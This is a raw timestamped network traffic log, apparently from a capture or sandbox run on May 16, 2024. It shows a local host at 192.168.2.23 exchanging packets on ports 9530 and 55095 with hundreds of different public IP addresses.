May 16, 2024 16:38:50.018059015 CEST	9530	55095	110.91.75.89	192.168.2.23
May 16, 2024 16:38:50.018068075 CEST	9530	55095	125.54.186.176	192.168.2.23
May 16, 2024 16:38:50.018076897 CEST	9530	55095	182.62.232.233	192.168.2.23
May 16, 2024 16:38:50.018085003 CEST	9530	55095	178.77.1.84	192.168.2.23
May 16, 2024 16:38:50.018088102 CEST	55095	9530	192.168.2.23	125.114.153.0
May 16, 2024 16:38:50.018095016 CEST	9530	55095	104.236.177.157	192.168.2.23
May 16, 2024 16:38:50.018098116 CEST	55095	9530	192.168.2.23	52.186.97.17
May 16, 2024 16:38:50.018102884 CEST	9530	55095	210.71.101.252	192.168.2.23
May 16, 2024 16:38:50.018104076 CEST	55095	9530	192.168.2.23	218.129.183.16
May 16, 2024 16:38:50.018110037 CEST	55095	9530	192.168.2.23	125.54.186.176
May 16, 2024 16:38:50.018110037 CEST	55095	9530	192.168.2.23	110.91.75.89
May 16, 2024 16:38:50.018115044 CEST	9530	55095	23.84.130.194	192.168.2.23
May 16, 2024 16:38:50.018116951 CEST	55095	9530	192.168.2.23	182.62.232.233
May 16, 2024 16:38:50.018126011 CEST	9530	55095	87.176.132.147	192.168.2.23
May 16, 2024 16:38:50.018131971 CEST	55095	9530	192.168.2.23	178.77.1.84
May 16, 2024 16:38:50.018134117 CEST	55095	9530	192.168.2.23	104.236.177.157
May 16, 2024 16:38:50.018136024 CEST	9530	55095	64.231.29.241	192.168.2.23
May 16, 2024 16:38:50.018141031 CEST	55095	9530	192.168.2.23	210.71.101.252
May 16, 2024 16:38:50.018146038 CEST	9530	55095	207.226.253.81	192.168.2.23
May 16, 2024 16:38:50.018145084 CEST	55095	9530	192.168.2.23	23.84.130.194
May 16, 2024 16:38:50.018156052 CEST	9530	55095	114.216.236.200	192.168.2.23
May 16, 2024 16:38:50.018157005 CEST	55095	9530	192.168.2.23	87.176.132.147
May 16, 2024 16:38:50.018165112 CEST	9530	55095	181.15.17.197	192.168.2.23
May 16, 2024 16:38:50.018176079 CEST	9530	55095	2.23.151.35	192.168.2.23
May 16, 2024 16:38:50.018174887 CEST	55095	9530	192.168.2.23	64.231.29.241
May 16, 2024 16:38:50.018186092 CEST	9530	55095	106.88.30.231	192.168.2.23
May 16, 2024 16:38:50.018194914 CEST	55095	9530	192.168.2.23	207.226.253.81
May 16, 2024 16:38:50.018196106 CEST	9530	55095	130.45.195.8	192.168.2.23
May 16, 2024 16:38:50.018198013 CEST	55095	9530	192.168.2.23	181.15.17.197
May 16, 2024 16:38:50.018207073 CEST	9530	55095	38.49.216.200	192.168.2.23
May 16, 2024 16:38:50.018215895 CEST	55095	9530	192.168.2.23	114.216.236.200
May 16, 2024 16:38:50.018215895 CEST	9530	55095	190.122.252.69	192.168.2.23
May 16, 2024 16:38:50.018219948 CEST	55095	9530	192.168.2.23	2.23.151.35
May 16, 2024 16:38:50.018225908 CEST	9530	55095	150.229.17.162	192.168.2.23
May 16, 2024 16:38:50.018229008 CEST	55095	9530	192.168.2.23	106.88.30.231
May 16, 2024 16:38:50.018229961 CEST	9530	55095	145.136.157.105	192.168.2.23
May 16, 2024 16:38:50.018240929 CEST	55095	9530	192.168.2.23	130.45.195.8
May 16, 2024 16:38:50.018243074 CEST	9530	55095	220.176.231.41	192.168.2.23
May 16, 2024 16:38:50.018246889 CEST	9530	55095	154.182.20.44	192.168.2.23
May 16, 2024 16:38:50.018250942 CEST	9530	55095	5.115.112.234	192.168.2.23
May 16, 2024 16:38:50.018254995 CEST	9530	55095	181.85.194.214	192.168.2.23
May 16, 2024 16:38:50.018260002 CEST	9530	55095	138.183.131.103	192.168.2.23
May 16, 2024 16:38:50.018264055 CEST	9530	55095	52.66.16.192	192.168.2.23
May 16, 2024 16:38:50.018296957 CEST	55095	9530	192.168.2.23	38.49.216.200
May 16, 2024 16:38:50.018301964 CEST	55095	9530	192.168.2.23	190.122.252.69
May 16, 2024 16:38:50.018301964 CEST	55095	9530	192.168.2.23	150.229.17.162
May 16, 2024 16:38:50.018333912 CEST	55095	9530	192.168.2.23	154.182.20.44
May 16, 2024 16:38:50.018333912 CEST	55095	9530	192.168.2.23	5.115.112.234
May 16, 2024 16:38:50.018336058 CEST	55095	9530	192.168.2.23	145.136.157.105
May 16, 2024 16:38:50.018337965 CEST	55095	9530	192.168.2.23	220.176.231.41
May 16, 2024 16:38:50.018347025 CEST	55095	9530	192.168.2.23	52.66.16.192
May 16, 2024 16:38:50.018407106 CEST	55095	9530	192.168.2.23	138.183.131.103
May 16, 2024 16:38:50.018435955 CEST	55095	9530	192.168.2.23	181.85.194.214
May 16, 2024 16:38:50.020216942 CEST	9530	55095	133.129.239.149	192.168.2.23
May 16, 2024 16:38:50.020230055 CEST	9530	55095	87.105.179.253	192.168.2.23
May 16, 2024 16:38:50.020237923 CEST	9530	55095	159.141.183.194	192.168.2.23
May 16, 2024 16:38:50.020248890 CEST	9530	55095	167.241.16.204	192.168.2.23
May 16, 2024 16:38:50.020253897 CEST	55095	9530	192.168.2.23	133.129.239.149
May 16, 2024 16:38:50.020257950 CEST	9530	55095	76.87.92.7	192.168.2.23
May 16, 2024 16:38:50.020262957 CEST	55095	9530	192.168.2.23	87.105.179.253
May 16, 2024 16:38:50.020266056 CEST	9530	55095	195.30.93.162	192.168.2.23
May 16, 2024 16:38:50.020276070 CEST	9530	55095	20.228.3.244	192.168.2.23
May 16, 2024 16:38:50.020277977 CEST	55095	9530	192.168.2.23	159.141.183.194
May 16, 2024 16:38:50.020284891 CEST	9530	55095	25.217.10.125	192.168.2.23
May 16, 2024 16:38:50.020294905 CEST	9530	55095	187.8.144.225	192.168.2.23
May 16, 2024 16:38:50.020303965 CEST	9530	55095	220.226.67.89	192.168.2.23
May 16, 2024 16:38:50.020313025 CEST	9530	55095	13.172.41.250	192.168.2.23
May 16, 2024 16:38:50.020323038 CEST	9530	55095	69.131.196.255	192.168.2.23
May 16, 2024 16:38:50.020332098 CEST	9530	55095	49.140.190.120	192.168.2.23
May 16, 2024 16:38:50.020340919 CEST	9530	55095	27.149.148.209	192.168.2.23
May 16, 2024 16:38:50.020345926 CEST	55095	9530	192.168.2.23	167.241.16.204
May 16, 2024 16:38:50.020350933 CEST	9530	55095	38.87.230.123	192.168.2.23
May 16, 2024 16:38:50.020355940 CEST	55095	9530	192.168.2.23	195.30.93.162
May 16, 2024 16:38:50.020355940 CEST	55095	9530	192.168.2.23	76.87.92.7
May 16, 2024 16:38:50.020355940 CEST	55095	9530	192.168.2.23	20.228.3.244
May 16, 2024 16:38:50.020356894 CEST	55095	9530	192.168.2.23	25.217.10.125
May 16, 2024 16:38:50.020358086 CEST	55095	9530	192.168.2.23	187.8.144.225
May 16, 2024 16:38:50.020359993 CEST	55095	9530	192.168.2.23	220.226.67.89
May 16, 2024 16:38:50.020359993 CEST	55095	9530	192.168.2.23	13.172.41.250
May 16, 2024 16:38:50.020360947 CEST	9530	55095	68.52.91.194	192.168.2.23
May 16, 2024 16:38:50.020370007 CEST	9530	55095	48.181.82.222	192.168.2.23
May 16, 2024 16:38:50.020373106 CEST	55095	9530	192.168.2.23	49.140.190.120
May 16, 2024 16:38:50.020373106 CEST	55095	9530	192.168.2.23	69.131.196.255
May 16, 2024 16:38:50.020374060 CEST	9530	55095	217.217.15.134	192.168.2.23
May 16, 2024 16:38:50.020379066 CEST	9530	55095	32.207.142.29	192.168.2.23
May 16, 2024 16:38:50.020382881 CEST	9530	55095	57.138.110.226	192.168.2.23
May 16, 2024 16:38:50.020382881 CEST	55095	9530	192.168.2.23	27.149.148.209
May 16, 2024 16:38:50.020385981 CEST	9530	55095	42.222.151.251	192.168.2.23
May 16, 2024 16:38:50.020395041 CEST	9530	55095	75.214.108.190	192.168.2.23
May 16, 2024 16:38:50.020399094 CEST	55095	9530	192.168.2.23	38.87.230.123
May 16, 2024 16:38:50.020399094 CEST	9530	55095	50.42.64.165	192.168.2.23
May 16, 2024 16:38:50.020411015 CEST	9530	55095	53.98.159.138	192.168.2.23
May 16, 2024 16:38:50.020415068 CEST	55095	9530	192.168.2.23	48.181.82.222
May 16, 2024 16:38:50.020416975 CEST	9530	55095	83.214.221.15	192.168.2.23
May 16, 2024 16:38:50.020422935 CEST	55095	9530	192.168.2.23	57.138.110.226
May 16, 2024 16:38:50.020426035 CEST	9530	55095	123.67.37.114	192.168.2.23
May 16, 2024 16:38:50.020426035 CEST	55095	9530	192.168.2.23	68.52.91.194
May 16, 2024 16:38:50.020432949 CEST	55095	9530	192.168.2.23	32.207.142.29
May 16, 2024 16:38:50.020438910 CEST	9530	55095	174.213.84.70	192.168.2.23
May 16, 2024 16:38:50.020442963 CEST	55095	9530	192.168.2.23	217.217.15.134
May 16, 2024 16:38:50.020447969 CEST	9530	55095	89.204.93.26	192.168.2.23
May 16, 2024 16:38:50.020450115 CEST	55095	9530	192.168.2.23	42.222.151.251
May 16, 2024 16:38:50.020450115 CEST	55095	9530	192.168.2.23	75.214.108.190
May 16, 2024 16:38:50.020452976 CEST	9530	55095	194.215.65.159	192.168.2.23
May 16, 2024 16:38:50.020456076 CEST	9530	55095	193.20.127.40	192.168.2.23
May 16, 2024 16:38:50.020461082 CEST	9530	55095	60.205.220.232	192.168.2.23
May 16, 2024 16:38:50.020463943 CEST	9530	55095	134.201.19.157	192.168.2.23
May 16, 2024 16:38:50.020463943 CEST	55095	9530	192.168.2.23	50.42.64.165
May 16, 2024 16:38:50.020467043 CEST	9530	55095	195.21.45.91	192.168.2.23
May 16, 2024 16:38:50.020469904 CEST	55095	9530	192.168.2.23	53.98.159.138
May 16, 2024 16:38:50.020469904 CEST	55095	9530	192.168.2.23	83.214.221.15
May 16, 2024 16:38:50.020469904 CEST	55095	9530	192.168.2.23	123.67.37.114
May 16, 2024 16:38:50.020471096 CEST	9530	55095	122.68.104.217	192.168.2.23
May 16, 2024 16:38:50.020474911 CEST	9530	55095	198.68.191.210	192.168.2.23
May 16, 2024 16:38:50.020478964 CEST	9530	55095	143.147.132.165	192.168.2.23
May 16, 2024 16:38:50.020482063 CEST	9530	55095	188.160.62.197	192.168.2.23
May 16, 2024 16:38:50.020493031 CEST	9530	55095	166.179.26.8	192.168.2.23
May 16, 2024 16:38:50.020503044 CEST	9530	55095	151.118.189.79	192.168.2.23
May 16, 2024 16:38:50.020512104 CEST	9530	55095	125.55.103.147	192.168.2.23
May 16, 2024 16:38:50.020515919 CEST	55095	9530	192.168.2.23	174.213.84.70
May 16, 2024 16:38:50.020519972 CEST	9530	55095	102.132.97.30	192.168.2.23
May 16, 2024 16:38:50.020529032 CEST	55095	9530	192.168.2.23	193.20.127.40
May 16, 2024 16:38:50.020529985 CEST	55095	9530	192.168.2.23	188.160.62.197
May 16, 2024 16:38:50.020529985 CEST	55095	9530	192.168.2.23	195.21.45.91
May 16, 2024 16:38:50.020533085 CEST	55095	9530	192.168.2.23	194.215.65.159
May 16, 2024 16:38:50.020533085 CEST	55095	9530	192.168.2.23	166.179.26.8
May 16, 2024 16:38:50.020533085 CEST	55095	9530	192.168.2.23	151.118.189.79
May 16, 2024 16:38:50.020534992 CEST	55095	9530	192.168.2.23	122.68.104.217
May 16, 2024 16:38:50.020534992 CEST	55095	9530	192.168.2.23	125.55.103.147
May 16, 2024 16:38:50.020605087 CEST	55095	9530	192.168.2.23	89.204.93.26
May 16, 2024 16:38:50.020606995 CEST	55095	9530	192.168.2.23	134.201.19.157
May 16, 2024 16:38:50.020606995 CEST	55095	9530	192.168.2.23	102.132.97.30
May 16, 2024 16:38:50.020606995 CEST	55095	9530	192.168.2.23	198.68.191.210
May 16, 2024 16:38:50.020622969 CEST	55095	9530	192.168.2.23	60.205.220.232
May 16, 2024 16:38:50.020637035 CEST	55095	9530	192.168.2.23	143.147.132.165
May 16, 2024 16:38:50.022634983 CEST	9530	55095	48.228.96.0	192.168.2.23
May 16, 2024 16:38:50.022649050 CEST	9530	55095	44.46.30.5	192.168.2.23
May 16, 2024 16:38:50.022659063 CEST	9530	55095	203.171.98.238	192.168.2.23
May 16, 2024 16:38:50.022669077 CEST	9530	55095	122.195.86.156	192.168.2.23
May 16, 2024 16:38:50.022679090 CEST	9530	55095	96.137.244.66	192.168.2.23
May 16, 2024 16:38:50.022687912 CEST	9530	55095	38.231.173.10	192.168.2.23
May 16, 2024 16:38:50.022696972 CEST	9530	55095	43.75.247.54	192.168.2.23
May 16, 2024 16:38:50.022706032 CEST	9530	55095	45.56.152.237	192.168.2.23
May 16, 2024 16:38:50.022715092 CEST	9530	55095	212.100.102.160	192.168.2.23
May 16, 2024 16:38:50.022722960 CEST	9530	55095	57.218.209.226	192.168.2.23
May 16, 2024 16:38:50.022732019 CEST	9530	55095	118.195.86.55	192.168.2.23
May 16, 2024 16:38:50.022739887 CEST	9530	55095	89.195.227.94	192.168.2.23
May 16, 2024 16:38:50.022743940 CEST	9530	55095	141.78.70.17	192.168.2.23
May 16, 2024 16:38:50.022747040 CEST	9530	55095	113.17.163.6	192.168.2.23
May 16, 2024 16:38:50.022749901 CEST	9530	55095	181.98.207.139	192.168.2.23
May 16, 2024 16:38:50.022749901 CEST	55095	9530	192.168.2.23	203.171.98.238
May 16, 2024 16:38:50.022749901 CEST	55095	9530	192.168.2.23	43.75.247.54
May 16, 2024 16:38:50.022753954 CEST	9530	55095	123.93.185.128	192.168.2.23
May 16, 2024 16:38:50.022753954 CEST	55095	9530	192.168.2.23	48.228.96.0
May 16, 2024 16:38:50.022753954 CEST	55095	9530	192.168.2.23	45.56.152.237
May 16, 2024 16:38:50.022756100 CEST	55095	9530	192.168.2.23	122.195.86.156
May 16, 2024 16:38:50.022757053 CEST	55095	9530	192.168.2.23	212.100.102.160
May 16, 2024 16:38:50.022762060 CEST	9530	55095	194.56.149.96	192.168.2.23
May 16, 2024 16:38:50.022778988 CEST	9530	55095	52.74.11.136	192.168.2.23
May 16, 2024 16:38:50.022778988 CEST	55095	9530	192.168.2.23	118.195.86.55
May 16, 2024 16:38:50.022778988 CEST	55095	9530	192.168.2.23	89.195.227.94
May 16, 2024 16:38:50.022783041 CEST	55095	9530	192.168.2.23	44.46.30.5
May 16, 2024 16:38:50.022783995 CEST	55095	9530	192.168.2.23	96.137.244.66
May 16, 2024 16:38:50.022783995 CEST	55095	9530	192.168.2.23	38.231.173.10
May 16, 2024 16:38:50.022788048 CEST	55095	9530	192.168.2.23	181.98.207.139
May 16, 2024 16:38:50.022790909 CEST	55095	9530	192.168.2.23	141.78.70.17
May 16, 2024 16:38:50.022790909 CEST	55095	9530	192.168.2.23	113.17.163.6
May 16, 2024 16:38:50.022792101 CEST	9530	55095	139.184.205.140	192.168.2.23
May 16, 2024 16:38:50.022802114 CEST	9530	55095	142.73.186.160	192.168.2.23
May 16, 2024 16:38:50.022804022 CEST	55095	9530	192.168.2.23	57.218.209.226
May 16, 2024 16:38:50.022808075 CEST	55095	9530	192.168.2.23	194.56.149.96
May 16, 2024 16:38:50.022809982 CEST	55095	9530	192.168.2.23	123.93.185.128
May 16, 2024 16:38:50.022810936 CEST	9530	55095	19.130.196.131	192.168.2.23
May 16, 2024 16:38:50.022820950 CEST	9530	55095	216.226.66.174	192.168.2.23
May 16, 2024 16:38:50.022829056 CEST	55095	9530	192.168.2.23	52.74.11.136
May 16, 2024 16:38:50.022830009 CEST	9530	55095	131.158.60.216	192.168.2.23
May 16, 2024 16:38:50.022839069 CEST	55095	9530	192.168.2.23	139.184.205.140
May 16, 2024 16:38:50.022840023 CEST	9530	55095	207.168.214.120	192.168.2.23
May 16, 2024 16:38:50.022840977 CEST	55095	9530	192.168.2.23	142.73.186.160
May 16, 2024 16:38:50.022841930 CEST	55095	9530	192.168.2.23	19.130.196.131
May 16, 2024 16:38:50.022850037 CEST	9530	55095	80.149.29.244	192.168.2.23
May 16, 2024 16:38:50.022859097 CEST	9530	55095	162.189.102.217	192.168.2.23
May 16, 2024 16:38:50.022870064 CEST	55095	9530	192.168.2.23	216.226.66.174
May 16, 2024 16:38:50.022870064 CEST	55095	9530	192.168.2.23	131.158.60.216
May 16, 2024 16:38:50.022872925 CEST	9530	55095	159.159.113.100	192.168.2.23
May 16, 2024 16:38:50.022883892 CEST	9530	55095	49.21.183.57	192.168.2.23
May 16, 2024 16:38:50.022887945 CEST	55095	9530	192.168.2.23	207.168.214.120
May 16, 2024 16:38:50.022892952 CEST	9530	55095	49.213.151.39	192.168.2.23
May 16, 2024 16:38:50.022902966 CEST	9530	55095	86.116.36.134	192.168.2.23
May 16, 2024 16:38:50.022911072 CEST	9530	55095	98.116.177.247	192.168.2.23
May 16, 2024 16:38:50.022919893 CEST	9530	55095	50.113.115.237	192.168.2.23
May 16, 2024 16:38:50.022931099 CEST	55095	9530	192.168.2.23	162.189.102.217
May 16, 2024 16:38:50.022931099 CEST	55095	9530	192.168.2.23	49.21.183.57
May 16, 2024 16:38:50.022932053 CEST	9530	55095	110.233.19.127	192.168.2.23
May 16, 2024 16:38:50.022938967 CEST	55095	9530	192.168.2.23	80.149.29.244
May 16, 2024 16:38:50.022938967 CEST	55095	9530	192.168.2.23	86.116.36.134
May 16, 2024 16:38:50.022938967 CEST	55095	9530	192.168.2.23	98.116.177.247
May 16, 2024 16:38:50.022942066 CEST	9530	55095	68.12.161.173	192.168.2.23
May 16, 2024 16:38:50.022949934 CEST	55095	9530	192.168.2.23	159.159.113.100
May 16, 2024 16:38:50.022949934 CEST	55095	9530	192.168.2.23	50.113.115.237
May 16, 2024 16:38:50.022952080 CEST	9530	55095	189.28.242.74	192.168.2.23
May 16, 2024 16:38:50.022955894 CEST	55095	9530	192.168.2.23	49.213.151.39
May 16, 2024 16:38:50.022962093 CEST	9530	55095	134.155.123.83	192.168.2.23
May 16, 2024 16:38:50.022969007 CEST	55095	9530	192.168.2.23	110.233.19.127
May 16, 2024 16:38:50.022969007 CEST	55095	9530	192.168.2.23	68.12.161.173
May 16, 2024 16:38:50.022973061 CEST	9530	55095	139.60.159.188	192.168.2.23
May 16, 2024 16:38:50.022981882 CEST	9530	55095	118.172.99.43	192.168.2.23
May 16, 2024 16:38:50.022989988 CEST	9530	55095	2.0.144.244	192.168.2.23
May 16, 2024 16:38:50.022999048 CEST	9530	55095	116.9.216.56	192.168.2.23
May 16, 2024 16:38:50.023006916 CEST	9530	55095	54.65.0.233	192.168.2.23
May 16, 2024 16:38:50.023010015 CEST	55095	9530	192.168.2.23	118.172.99.43
May 16, 2024 16:38:50.023011923 CEST	55095	9530	192.168.2.23	134.155.123.83
May 16, 2024 16:38:50.023035049 CEST	55095	9530	192.168.2.23	139.60.159.188
May 16, 2024 16:38:50.023035049 CEST	55095	9530	192.168.2.23	116.9.216.56
May 16, 2024 16:38:50.023036003 CEST	55095	9530	192.168.2.23	2.0.144.244
May 16, 2024 16:38:50.023082972 CEST	55095	9530	192.168.2.23	54.65.0.233
May 16, 2024 16:38:50.023086071 CEST	55095	9530	192.168.2.23	189.28.242.74
May 16, 2024 16:38:50.025032997 CEST	9530	55095	187.46.180.128	192.168.2.23
May 16, 2024 16:38:50.025044918 CEST	9530	55095	140.23.116.148	192.168.2.23
May 16, 2024 16:38:50.025052071 CEST	9530	55095	59.198.57.131	192.168.2.23
May 16, 2024 16:38:50.025063038 CEST	9530	55095	64.48.45.99	192.168.2.23
May 16, 2024 16:38:50.025073051 CEST	9530	55095	91.77.50.86	192.168.2.23
May 16, 2024 16:38:50.025082111 CEST	9530	55095	137.13.167.179	192.168.2.23
May 16, 2024 16:38:50.025084019 CEST	55095	9530	192.168.2.23	187.46.180.128
May 16, 2024 16:38:50.025090933 CEST	9530	55095	143.173.87.226	192.168.2.23
May 16, 2024 16:38:50.025093079 CEST	55095	9530	192.168.2.23	59.198.57.131
May 16, 2024 16:38:50.025098085 CEST	55095	9530	192.168.2.23	91.77.50.86
May 16, 2024 16:38:50.025100946 CEST	9530	55095	72.82.6.34	192.168.2.23
May 16, 2024 16:38:50.025100946 CEST	55095	9530	192.168.2.23	64.48.45.99
May 16, 2024 16:38:50.025110960 CEST	9530	55095	73.168.20.120	192.168.2.23
May 16, 2024 16:38:50.025120974 CEST	9530	55095	151.217.149.195	192.168.2.23
May 16, 2024 16:38:50.025126934 CEST	55095	9530	192.168.2.23	140.23.116.148
May 16, 2024 16:38:50.025126934 CEST	55095	9530	192.168.2.23	143.173.87.226
May 16, 2024 16:38:50.025126934 CEST	55095	9530	192.168.2.23	137.13.167.179
May 16, 2024 16:38:50.025126934 CEST	55095	9530	192.168.2.23	72.82.6.34
May 16, 2024 16:38:50.025132895 CEST	9530	55095	163.58.224.116	192.168.2.23
May 16, 2024 16:38:50.025142908 CEST	9530	55095	168.207.207.228	192.168.2.23
May 16, 2024 16:38:50.025146961 CEST	55095	9530	192.168.2.23	73.168.20.120
May 16, 2024 16:38:50.025152922 CEST	9530	55095	90.32.43.35	192.168.2.23
May 16, 2024 16:38:50.025161028 CEST	9530	55095	43.80.96.139	192.168.2.23
May 16, 2024 16:38:50.025166988 CEST	55095	9530	192.168.2.23	151.217.149.195
May 16, 2024 16:38:50.025166988 CEST	55095	9530	192.168.2.23	168.207.207.228
May 16, 2024 16:38:50.025167942 CEST	55095	9530	192.168.2.23	163.58.224.116
May 16, 2024 16:38:50.025170088 CEST	9530	55095	172.75.97.11	192.168.2.23
May 16, 2024 16:38:50.025180101 CEST	9530	55095	192.13.88.156	192.168.2.23
May 16, 2024 16:38:50.025188923 CEST	9530	55095	207.100.136.76	192.168.2.23
May 16, 2024 16:38:50.025197029 CEST	9530	55095	32.71.117.243	192.168.2.23
May 16, 2024 16:38:50.025201082 CEST	9530	55095	93.206.66.232	192.168.2.23
May 16, 2024 16:38:50.025203943 CEST	9530	55095	19.42.237.194	192.168.2.23
May 16, 2024 16:38:50.025212049 CEST	9530	55095	86.178.33.0	192.168.2.23
May 16, 2024 16:38:50.025222063 CEST	9530	55095	184.208.243.206	192.168.2.23
May 16, 2024 16:38:50.025230885 CEST	9530	55095	14.52.174.232	192.168.2.23
May 16, 2024 16:38:50.025239944 CEST	55095	9530	192.168.2.23	90.32.43.35
May 16, 2024 16:38:50.025243998 CEST	55095	9530	192.168.2.23	43.80.96.139
May 16, 2024 16:38:50.025243998 CEST	55095	9530	192.168.2.23	19.42.237.194
May 16, 2024 16:38:50.025244951 CEST	9530	55095	93.3.27.241	192.168.2.23
May 16, 2024 16:38:50.025244951 CEST	55095	9530	192.168.2.23	93.206.66.232
May 16, 2024 16:38:50.025245905 CEST	55095	9530	192.168.2.23	207.100.136.76
May 16, 2024 16:38:50.025248051 CEST	55095	9530	192.168.2.23	172.75.97.11
May 16, 2024 16:38:50.025248051 CEST	55095	9530	192.168.2.23	32.71.117.243
May 16, 2024 16:38:50.025249958 CEST	55095	9530	192.168.2.23	184.208.243.206
May 16, 2024 16:38:50.025255919 CEST	9530	55095	58.177.178.253	192.168.2.23
May 16, 2024 16:38:50.025262117 CEST	55095	9530	192.168.2.23	86.178.33.0
May 16, 2024 16:38:50.025262117 CEST	55095	9530	192.168.2.23	14.52.174.232
May 16, 2024 16:38:50.025263071 CEST	55095	9530	192.168.2.23	192.13.88.156
May 16, 2024 16:38:50.025265932 CEST	9530	55095	171.30.166.63	192.168.2.23
May 16, 2024 16:38:50.025270939 CEST	55095	9530	192.168.2.23	93.3.27.241
May 16, 2024 16:38:50.025278091 CEST	9530	55095	118.35.184.175	192.168.2.23
May 16, 2024 16:38:50.025285959 CEST	9530	55095	72.35.63.146	192.168.2.23
May 16, 2024 16:38:50.025295019 CEST	9530	55095	218.55.89.139	192.168.2.23
May 16, 2024 16:38:50.025295973 CEST	55095	9530	192.168.2.23	58.177.178.253
May 16, 2024 16:38:50.025304079 CEST	9530	55095	152.146.117.204	192.168.2.23
May 16, 2024 16:38:50.025304079 CEST	55095	9530	192.168.2.23	171.30.166.63
May 16, 2024 16:38:50.025310993 CEST	55095	9530	192.168.2.23	118.35.184.175
May 16, 2024 16:38:50.025312901 CEST	9530	55095	78.87.46.10	192.168.2.23
May 16, 2024 16:38:50.025319099 CEST	55095	9530	192.168.2.23	72.35.63.146
May 16, 2024 16:38:50.025322914 CEST	9530	55095	20.65.101.218	192.168.2.23
May 16, 2024 16:38:50.025332928 CEST	9530	55095	206.129.11.43	192.168.2.23
May 16, 2024 16:38:50.025336981 CEST	55095	9530	192.168.2.23	218.55.89.139
May 16, 2024 16:38:50.025336981 CEST	55095	9530	192.168.2.23	78.87.46.10
May 16, 2024 16:38:50.025341988 CEST	9530	55095	58.31.141.18	192.168.2.23
May 16, 2024 16:38:50.025346041 CEST	9530	55095	58.187.98.28	192.168.2.23
May 16, 2024 16:38:50.025357962 CEST	9530	55095	90.161.90.148	192.168.2.23
May 16, 2024 16:38:50.025367975 CEST	9530	55095	179.31.40.22	192.168.2.23
May 16, 2024 16:38:50.025377035 CEST	9530	55095	179.252.195.39	192.168.2.23
May 16, 2024 16:38:50.025381088 CEST	9530	55095	79.71.103.87	192.168.2.23
May 16, 2024 16:38:50.025384903 CEST	9530	55095	223.131.218.241	192.168.2.23
May 16, 2024 16:38:50.025444031 CEST	55095	9530	192.168.2.23	152.146.117.204
May 16, 2024 16:38:50.025444031 CEST	55095	9530	192.168.2.23	20.65.101.218
May 16, 2024 16:38:50.025444031 CEST	55095	9530	192.168.2.23	58.187.98.28
May 16, 2024 16:38:50.025444031 CEST	55095	9530	192.168.2.23	79.71.103.87
May 16, 2024 16:38:50.025449991 CEST	55095	9530	192.168.2.23	58.31.141.18
May 16, 2024 16:38:50.025449991 CEST	55095	9530	192.168.2.23	206.129.11.43
May 16, 2024 16:38:50.025449991 CEST	55095	9530	192.168.2.23	179.252.195.39
May 16, 2024 16:38:50.025449991 CEST	55095	9530	192.168.2.23	90.161.90.148
May 16, 2024 16:38:50.025449991 CEST	55095	9530	192.168.2.23	223.131.218.241
May 16, 2024 16:38:50.025455952 CEST	55095	9530	192.168.2.23	179.31.40.22
May 16, 2024 16:38:50.027132034 CEST	9530	55095	160.13.175.37	192.168.2.23
May 16, 2024 16:38:50.027144909 CEST	9530	55095	162.26.27.65	192.168.2.23
May 16, 2024 16:38:50.027153015 CEST	9530	55095	50.99.205.180	192.168.2.23
May 16, 2024 16:38:50.027163029 CEST	9530	55095	73.179.109.233	192.168.2.23
May 16, 2024 16:38:50.027170897 CEST	9530	55095	23.237.132.37	192.168.2.23
May 16, 2024 16:38:50.027179956 CEST	9530	55095	121.26.200.170	192.168.2.23
May 16, 2024 16:38:50.027180910 CEST	55095	9530	192.168.2.23	162.26.27.65
May 16, 2024 16:38:50.027189016 CEST	9530	55095	198.37.75.95	192.168.2.23
May 16, 2024 16:38:50.027196884 CEST	9530	55095	58.238.90.213	192.168.2.23
May 16, 2024 16:38:50.027199984 CEST	9530	55095	75.124.137.7	192.168.2.23
May 16, 2024 16:38:50.027209044 CEST	9530	55095	169.219.248.105	192.168.2.23
May 16, 2024 16:38:50.027219057 CEST	9530	55095	160.157.254.157	192.168.2.23
May 16, 2024 16:38:50.027228117 CEST	9530	55095	110.185.243.77	192.168.2.23
May 16, 2024 16:38:50.027235985 CEST	9530	55095	87.133.41.118	192.168.2.23
May 16, 2024 16:38:50.027245045 CEST	9530	55095	219.55.166.119	192.168.2.23
May 16, 2024 16:38:50.027254105 CEST	9530	55095	154.52.89.201	192.168.2.23
May 16, 2024 16:38:50.027261019 CEST	55095	9530	192.168.2.23	73.179.109.233
May 16, 2024 16:38:50.027262926 CEST	9530	55095	69.94.55.221	192.168.2.23
May 16, 2024 16:38:50.027271032 CEST	55095	9530	192.168.2.23	50.99.205.180
May 16, 2024 16:38:50.027271032 CEST	55095	9530	192.168.2.23	121.26.200.170
May 16, 2024 16:38:50.027271986 CEST	55095	9530	192.168.2.23	58.238.90.213
May 16, 2024 16:38:50.027272940 CEST	9530	55095	42.202.75.53	192.168.2.23
May 16, 2024 16:38:50.027271986 CEST	55095	9530	192.168.2.23	160.157.254.157
May 16, 2024 16:38:50.027273893 CEST	55095	9530	192.168.2.23	110.185.243.77
May 16, 2024 16:38:50.027275085 CEST	55095	9530	192.168.2.23	160.13.175.37
May 16, 2024 16:38:50.027275085 CEST	55095	9530	192.168.2.23	23.237.132.37
May 16, 2024 16:38:50.027275085 CEST	55095	9530	192.168.2.23	198.37.75.95
May 16, 2024 16:38:50.027275085 CEST	55095	9530	192.168.2.23	75.124.137.7
May 16, 2024 16:38:50.027275085 CEST	55095	9530	192.168.2.23	169.219.248.105
May 16, 2024 16:38:50.027282953 CEST	9530	55095	59.243.64.156	192.168.2.23
May 16, 2024 16:38:50.027290106 CEST	55095	9530	192.168.2.23	87.133.41.118
May 16, 2024 16:38:50.027290106 CEST	55095	9530	192.168.2.23	219.55.166.119
May 16, 2024 16:38:50.027291059 CEST	55095	9530	192.168.2.23	69.94.55.221
May 16, 2024 16:38:50.027291059 CEST	55095	9530	192.168.2.23	154.52.89.201
May 16, 2024 16:38:50.027292967 CEST	9530	55095	96.215.236.114	192.168.2.23
May 16, 2024 16:38:50.027302980 CEST	55095	9530	192.168.2.23	42.202.75.53
May 16, 2024 16:38:50.027303934 CEST	9530	55095	186.243.146.33	192.168.2.23
May 16, 2024 16:38:50.027313948 CEST	9530	55095	207.149.121.162	192.168.2.23
May 16, 2024 16:38:50.027322054 CEST	9530	55095	196.242.29.112	192.168.2.23
May 16, 2024 16:38:50.027324915 CEST	55095	9530	192.168.2.23	96.215.236.114
May 16, 2024 16:38:50.027327061 CEST	55095	9530	192.168.2.23	59.243.64.156
May 16, 2024 16:38:50.027332067 CEST	9530	55095	67.73.190.209	192.168.2.23
May 16, 2024 16:38:50.027337074 CEST	55095	9530	192.168.2.23	186.243.146.33
